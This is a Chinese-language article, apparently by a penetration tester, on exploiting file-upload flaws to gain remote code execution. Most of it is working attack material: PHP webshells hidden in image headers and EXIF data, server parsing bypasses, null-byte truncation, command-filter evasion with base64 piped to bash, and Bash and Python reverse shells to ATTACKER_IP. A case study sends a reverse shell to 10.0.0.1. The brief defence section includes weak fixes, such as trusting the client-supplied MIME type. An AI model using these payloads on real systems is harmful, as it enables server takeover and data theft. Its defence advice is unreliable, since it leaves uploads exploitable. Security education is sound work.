在Web安全领域,文件上传漏洞与远程代码执行(RCE)漏洞的结合堪称最具破坏力的攻击组合之一。作为一名长期从事渗透测试的安全工程师,我见过太多因为文件上传功能实现不当而导致整个系统沦陷的案例。本文将基于实战经验,详细剖析这两种漏洞的利用手法及防御策略。
文件上传漏洞之所以危险,是因为它直接打破了Web应用最基本的安全边界——用户输入与系统执行的隔离。当应用程序允许用户上传文件却未实施足够的安全检查时,攻击者就能将恶意文件上传到服务器,进而实现完全控制系统。
这类漏洞的典型特征包括:
我曾在一个电商系统的渗透测试中发现,其头像上传功能仅通过JavaScript检查文件扩展名,攻击者只需修改请求就能轻松上传PHP webshell。这个漏洞最终导致整个服务器被控制,所有用户数据泄露。
远程代码执行漏洞被OWASP列为最危险的Web漏洞之一,它允许攻击者在目标服务器上执行任意命令。根据执行环境的不同,RCE可分为两类:
在最近的一次红队行动中,我们通过一个简单的文件上传漏洞获取了初始立足点,然后利用系统命令注入漏洞横向移动,最终控制了整个内网。这种攻击链的破坏力令人震惊。
空字节截断(Null Byte Injection)是PHP低版本中的经典绕过技术。其原理是利用空字符(%00)截断文件路径检查。
攻击步骤:
php复制// 漏洞代码示例
$uploaded_name = $_FILES['file']['name']; // "shell.php%00.jpg"
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); // "jpg"
move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $uploaded_name); // 保存为shell.php
注意:这种攻击在PHP 5.3.4及以上版本已修复,但在遗留系统中仍可能遇到。
不同Web服务器对文件名的解析方式存在差异,这些差异常被攻击者利用:
Apache在遇到无法识别的扩展名时,会继续向左解析直到找到可识别的类型:
code复制shell.php.xyz → 解析为PHP文件
IIS6.0存在分号解析漏洞:
code复制shell.asp;.jpg → 解析为ASP文件
某些Nginx配置错误会导致:
code复制/test.jpg/test.php → 执行test.jpg中的PHP代码
在恶意脚本前添加图片文件头:
php复制\xFF\xD8\xFF\xE0<?php system($_GET['cmd']); ?>
将Webshell嵌入图片EXIF信息:
bash复制exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
最简单的PHP webshell只需一行代码:
php复制<?php system($_GET['cmd']); ?>
更隐蔽的版本使用密码保护:
php复制<?php
if(md5($_GET['pass']) === '5f4dcc3b5aa765d61d8327deb882cf99') {
system($_GET['cmd']);
}
?>
当直接执行命令受限时,反弹Shell是更好的选择:
Bash反弹:
bash复制bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Python反弹:
python复制import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ATTACKER_IP",4444))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
bash复制cat${IFS}/etc/passwd
{cat,/etc/passwd}
bash复制cmd1;cmd2 # 顺序执行
cmd1&&cmd2 # 前命令成功才执行后命令
cmd1||cmd2 # 前命令失败才执行后命令
bash复制echo "bHM=" | base64 -d | bash # ls
echo "6c730a" | xxd -r -p | bash # ls
php复制$allowed = ['image/jpeg', 'image/png'];
if(!in_array($_FILES['file']['type'], $allowed)) {
die("Invalid file type");
}
php复制$new_name = bin2hex(random_bytes(16)) . '.jpg';
apache复制<Directory "/var/www/uploads">
php_flag engine off
</Directory>
ini复制disable_functions = exec,passthru,shell_exec,system,proc_open,popen
php复制$cmd = escapeshellcmd($_GET['cmd']);
在一次企业渗透测试中,我们发现了一个图片上传功能存在漏洞:
bash复制exiftool -Comment='<?php system($_GET["cmd"]); ?>' test.jpg
code复制http://target.com/view.php?image=test.jpg&cmd=id
code复制http://target.com/view.php?image=test.jpg&cmd=bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
这个案例展示了文件上传漏洞如何与其他漏洞结合形成完整的攻击链。防御时需要全面考虑各种可能的攻击路径。